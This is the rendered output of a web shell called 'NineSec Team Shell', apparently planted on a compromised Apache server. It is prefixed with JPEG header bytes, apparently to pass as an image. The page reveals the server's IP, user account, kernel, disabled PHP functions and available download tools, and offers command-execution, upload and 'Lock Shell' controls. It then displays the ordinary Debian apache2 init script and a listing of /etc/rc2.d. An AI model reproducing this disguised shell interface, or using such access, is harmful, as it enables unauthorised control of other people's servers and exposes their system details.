�����JFIF��������(ICC_PROFILE���������mntrRGB XYZ ������������acsp�������������������������������������-��������������������������������������������������� desc�������trXYZ��d���gXYZ��x���bXYZ������rTRC������(gTRC������(bTRC������(wtpt������cprt������ NineSec Team Shell
NineSec Team Shell
Server IP : 51.38.211.120  /  Your IP : 216.73.216.188
Web Server : Apache
System : Linux bob 5.15.85-1-pve #1 SMP PVE 5.15.85-1 (2023-02-01T00:00Z) x86_64
User : readytorun ( 1067)
PHP Version : 8.0.30
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF
Directory (0755) :  /etc/rc2.d/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : //etc/rc2.d/S01apache2
#!/bin/sh
### BEGIN INIT INFO
# Provides:          apache2
# Required-Start:    $local_fs $remote_fs $network $syslog $named
# Required-Stop:     $local_fs $remote_fs $network $syslog $named
# Default-Start:     2 3 4 5
# Default-Stop:      0 1 6
# X-Interactive:     true
# Short-Description: Apache2 web server
# Description:       Start the web server
#  This script will start the apache2 web server.
### END INIT INFO

DESC="Apache httpd web server"
NAME=apache2
DAEMON=/usr/sbin/$NAME

SCRIPTNAME="${0##*/}"
SCRIPTNAME="${SCRIPTNAME##[KS][0-9][0-9]}"
if [ -n "$APACHE_CONFDIR" ] ; then
	if [ "${APACHE_CONFDIR##/etc/apache2-}" != "${APACHE_CONFDIR}" ] ; then
	        DIR_SUFFIX="${APACHE_CONFDIR##/etc/apache2-}"
	else
	        DIR_SUFFIX=
	fi
elif [ "${SCRIPTNAME##apache2-}" != "$SCRIPTNAME" ] ; then
	DIR_SUFFIX="-${SCRIPTNAME##apache2-}"
	APACHE_CONFDIR=/etc/apache2$DIR_SUFFIX
else
	DIR_SUFFIX=
	APACHE_CONFDIR=/etc/apache2
fi
if [ -z "$APACHE_ENVVARS" ] ; then
	APACHE_ENVVARS=$APACHE_CONFDIR/envvars
fi
export APACHE_CONFDIR APACHE_ENVVARS

ENV="env -i LANG=C PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
if [ "$APACHE_CONFDIR" != /etc/apache2 ] ; then
	ENV="$ENV APACHE_CONFDIR=$APACHE_CONFDIR"
fi
if [ "$APACHE_ENVVARS" != "$APACHE_CONFDIR/envvars" ] ; then
	ENV="$ENV APACHE_ENVVARS=$APACHE_ENVVARS"
fi

PIDFILE=$(. $APACHE_ENVVARS && echo $APACHE_PID_FILE)

VERBOSE=no
if [ -f /etc/default/rcS ]; then
	. /etc/default/rcS
fi
. /lib/lsb/init-functions


# Now, set defaults:
APACHE2CTL="$ENV apache2ctl"
PIDFILE=$(. $APACHE_ENVVARS && echo $APACHE_PID_FILE)
APACHE2_INIT_MESSAGE=""

CONFTEST_OUTFILE=
cleanup() {
	if [ -n "$CONFTEST_OUTFILE" ] ; then
		rm -f "$CONFTEST_OUTFILE"
	fi
}
trap cleanup 0  # "0" means "EXIT", but "EXIT" is not portable


apache_conftest() {
	[ -z "$CONFTEST_OUTFILE" ] || rm -f "$CONFTEST_OUTFILE"
	CONFTEST_OUTFILE=$(mktemp)
	if ! $APACHE2CTL configtest > "$CONFTEST_OUTFILE" 2>&1 ; then
		return 1
	else
		rm -f "$CONFTEST_OUTFILE"
		CONFTEST_OUTFILE=
		return 0
	fi
}

clear_error_msg() {
	[ -z "$CONFTEST_OUTFILE" ] || rm -f "$CONFTEST_OUTFILE"
	CONFTEST_OUTFILE=
	APACHE2_INIT_MESSAGE=
}

print_error_msg() {
	[ -z "$APACHE2_INIT_MESSAGE" ] || log_warning_msg "$APACHE2_INIT_MESSAGE"
	if [ -n "$CONFTEST_OUTFILE" ] ; then
		echo "Output of config test was:" >&2
		cat "$CONFTEST_OUTFILE" >&2
		rm -f "$CONFTEST_OUTFILE"
		CONFTEST_OUTFILE=
	fi
}

apache_wait_start() {
	local STATUS=$1
	local i=0

	if [ $STATUS != 0 ] ; then
	        return $STATUS
	fi
	while : ; do
	        PIDTMP=$(pidofproc -p $PIDFILE $DAEMON)
	        if [ -n "${PIDTMP:-}" ] && kill -0 "${PIDTMP:-}" 2> /dev/null; then
	                return $STATUS
	        fi

	        if [ $i = "20" ] ; then
	                APACHE2_INIT_MESSAGE="The apache2$DIR_SUFFIX instance did not start within 20 seconds. Please read the log files to discover problems"
	                return 2
	        fi

	        [ "$VERBOSE" != no ] && log_progress_msg "."
	        sleep 1
	        i=$(($i+1))
	done
}

apache_wait_stop() {
	local STATUS=$1
	local METH=$2

	if [ $STATUS != 0 ] ; then
	        return $STATUS
	fi

	PIDTMP=$(pidofproc -p $PIDFILE $DAEMON)
	if [ -n "${PIDTMP:-}" ] && kill -0 "${PIDTMP:-}" 2> /dev/null; then
	        if [ "$METH" = "kill" ]; then
	            killproc -p $PIDFILE $DAEMON
	        else
	            $APACHE2CTL $METH > /dev/null 2>&1
	        fi

	        local i=0
	        while kill -0 "${PIDTMP:-}" 2> /dev/null;  do
	                if [ $i = '60' ]; then
	                        STATUS=2
	                        break
	                fi
	                [ "$VERBOSE" != no ] && log_progress_msg "."
	                sleep 1
	                i=$(($i+1))
	        done
	        return $STATUS
	else
	    return $STATUS
	fi
}


#
# Function that starts the daemon/service
#
do_start()
{
	# Return
	#   0 if daemon has been started
	#   1 if daemon was already running
	#   2 if daemon could not be started

	if pidofproc -p $PIDFILE "$DAEMON" > /dev/null 2>&1 ; then
	        return 1
	fi

	if apache_conftest ; then
	        $APACHE2CTL start
	        apache_wait_start $?
	        return $?
	else
	        APACHE2_INIT_MESSAGE="The apache2$DIR_SUFFIX configtest failed."
	        return 2
	fi
}

#
# Function that stops the daemon/service
#
do_stop()
{
	# Return
	#   0 if daemon has been stopped
	#   1 if daemon was already stopped
	#   2 if daemon could not be stopped
	#   other if a failure occurred

	# either "stop" or "graceful-stop"
	local STOP=$1
	# can't use pidofproc from LSB here
	local AP_RET=0

	if pidof $DAEMON > /dev/null 2>&1 ; then
	        if [ -e $PIDFILE ] && pidof $DAEMON | tr ' ' '\n' | grep -w $(cat $PIDFILE) > /dev/null 2>&1 ; then
	                AP_RET=2
	        else
	                AP_RET=1
	        fi
	else
	    AP_RET=0
	fi

	# AP_RET is:
	# 0 if Apache (whichever) is not running
	# 1 if Apache (whichever) is running
	# 2 if Apache from the PIDFILE is running

	if [ $AP_RET = 0 ] ; then
	        return 1
	fi

	if [ $AP_RET = 2 ] && apache_conftest ; then
	        apache_wait_stop $? $STOP
	        return $?
	else
	        if [ $AP_RET = 2 ]; then
					clear_error_msg
	                APACHE2_INIT_MESSAGE="The apache2$DIR_SUFFIX configtest failed, so we are trying to kill it manually. This is almost certainly suboptimal, so please make sure your system is working as you'd expect now!"
	                apache_wait_stop $? "kill"
	                return $?
	        elif [ $AP_RET = 1 ] ; then
	                APACHE2_INIT_MESSAGE="There are processes named 'apache2' running which do not match your pid file which are left untouched in the name of safety, Please review the situation by hand".
	                return 2
	        fi
	fi

}


#
# Function that sends a SIGHUP to the daemon/service
#
do_reload() {
	if apache_conftest; then
	        if ! pidofproc -p $PIDFILE "$DAEMON" > /dev/null 2>&1 ; then
	                APACHE2_INIT_MESSAGE="Apache2 is not running"
	                return 2
	        fi
	        $APACHE2CTL graceful > /dev/null 2>&1
	        return $?
	else
	        APACHE2_INIT_MESSAGE="The apache2$DIR_SUFFIX configtest failed. Not doing anything."
	        return 2
	fi
}


# Sanity checks. They need to occur after function declarations
[ -x $DAEMON ] || exit 0

if [ ! -x $DAEMON ] ; then
	echo "No apache-bin package installed"
	exit 0
fi

if [ -z "$PIDFILE" ] ; then
	echo ERROR: APACHE_PID_FILE needs to be defined in $APACHE_ENVVARS >&2
	exit 2
fi


case "$1" in
  start)
	log_daemon_msg "Starting $DESC" "$NAME"
	do_start
	RET_STATUS=$?
	case "$RET_STATUS" in
		0|1)
			log_success_msg
			[ "$VERBOSE" != no ] && [ $RET_STATUS = 1 ] && log_warning_msg "Server was already running"
	        ;;
		2)
			log_failure_msg
			print_error_msg
			exit 1
			;;
	esac
	;;
  stop|graceful-stop)
	log_daemon_msg "Stopping $DESC" "$NAME"
	do_stop "$1"
	RET_STATUS=$?
	case "$RET_STATUS" in
		0|1)
			log_success_msg
			[ "$VERBOSE" != no ] && [ $RET_STATUS = 1 ] && log_warning_msg "Server was not running"
	        ;;
		2)
			log_failure_msg
			print_error_msg
			exit 1
	        ;;
	esac
	print_error_msg

	;;
  status)
	status_of_proc -p $PIDFILE "apache2" "$NAME"
	exit $?
	;;
  reload|force-reload|graceful)
	log_daemon_msg "Reloading $DESC" "$NAME"
	do_reload
	RET_STATUS=$?
	case "$RET_STATUS" in
		0|1)
			log_success_msg
			[ "$VERBOSE" != no ] && [ $RET_STATUS = 1 ] && log_warning_msg "Server was already running"
			;;
		2)
			log_failure_msg
			print_error_msg
			exit 1
			;;
	esac
	print_error_msg
	;;
  restart)
	log_daemon_msg "Restarting $DESC" "$NAME"
	do_stop stop
	case "$?" in
		0|1)
			do_start
			case "$?" in
				0)
					log_end_msg 0
					;;
				1|*)
					log_end_msg 1 # Old process is still or failed to running
					print_error_msg
					exit 1
					;;
			esac
			;;
		*)
			# Failed to stop
			log_end_msg 1
			print_error_msg
			exit 1
			;;
	esac
	;;
  start-htcacheclean|stop-htcacheclean)
	echo "Use 'service apache-htcacheclean' instead"
	;;
  *)
	echo "Usage: $SCRIPTNAME {start|stop|graceful-stop|restart|reload|force-reload}" >&2
	exit 3
	;;
esac

exit 0

# vim: syntax=sh ts=4 sw=4 sts=4 sr noet

NineSec Team - 2022
Name
Size
Last Modified
Owner
Permissions
Options
..
--
December 18 2025 4:18:40
root
0755
K01apache-htcacheclean
2.431 KB
October 01 2020 1:09:43
root
0755
K01clamav-daemon
9.339 KB
January 17 2022 2:19:19
root
0755
K01clamav-freshclam
7.512 KB
January 17 2022 2:19:19
root
0755
K01milter-greylist
2.879 KB
January 24 2020 11:35:02
root
0755
S01apache2
7.989 KB
October 01 2020 1:09:43
root
0755
S01atop
1.367 KB
January 25 2019 5:41:25
root
0755
S01atopacct
1.744 KB
January 25 2019 5:41:25
root
0755
S01console-setup.sh
1.203 KB
March 27 2020 11:10:06
root
0755
S01cron
2.987 KB
February 11 2020 4:43:40
root
0755
S01dbus
3.078 KB
September 30 2019 9:47:02
root
0755
S01dovecot
5.119 KB
April 11 2021 10:25:41
root
0755
S01fail2ban
6.868 KB
March 02 2020 2:20:11
root
0755
S01firewalld
2.245 KB
April 04 2020 7:50:39
root
0755
S01irqbalance
2.576 KB
December 13 2019 4:43:35
root
0755
S01lvm2-lvmpolld
0.572 KB
January 28 2020 4:44:19
root
0755
S01mysql
5.476 KB
August 19 2021 3:32:33
root
0755
S01named
3.461 KB
September 16 2020 11:20:52
root
0755
S01opendkim
3.815 KB
December 27 2019 8:52:55
root
0755
S01php5.6-fpm
4.193 KB
November 19 2021 7:39:54
root
0755
S01php7.4-fpm
4.193 KB
February 17 2022 5:06:35
root
0755
S01php8.0-fpm
4.193 KB
March 20 2022 6:04:09
root
0755
S01php8.1-fpm
4.193 KB
April 04 2022 3:30:17
root
0755
S01php8.2-fpm
4.193 KB
February 07 2023 12:28:33
root
0755
S01php8.3-fpm
4.193 KB
January 20 2024 3:16:18
root
0755
S01plymouth
1.334 KB
March 23 2020 1:06:52
root
0755
S01postfix
3.289 KB
April 16 2020 7:48:33
root
0755
S01postgrey
3.796 KB
May 09 2019 1:35:08
root
0755
S01proftpd
5.197 KB
February 27 2020 8:30:14
root
0755
S01rsync
4.313 KB
October 15 2019 2:04:36
root
0755
S01rsyslog
2.797 KB
March 07 2019 1:49:31
root
0755
S01saslauthd
10.524 KB
December 26 2019 3:48:32
root
0755
S01spamassassin
2.047 KB
February 06 2020 2:13:48
root
0755
S01ssh
3.847 KB
February 26 2020 11:55:07
root
0755
S01unattended-upgrades
1.358 KB
July 21 2020 5:20:12
root
0755
S01uuidd
1.275 KB
April 02 2020 5:29:40
root
0755
S01zabbix-agent
1.636 KB
August 21 2019 4:45:46
root
0755
S99lookup-domain
0.509 KB
March 29 2022 10:51:02
root
0755

NineSec Team - 2022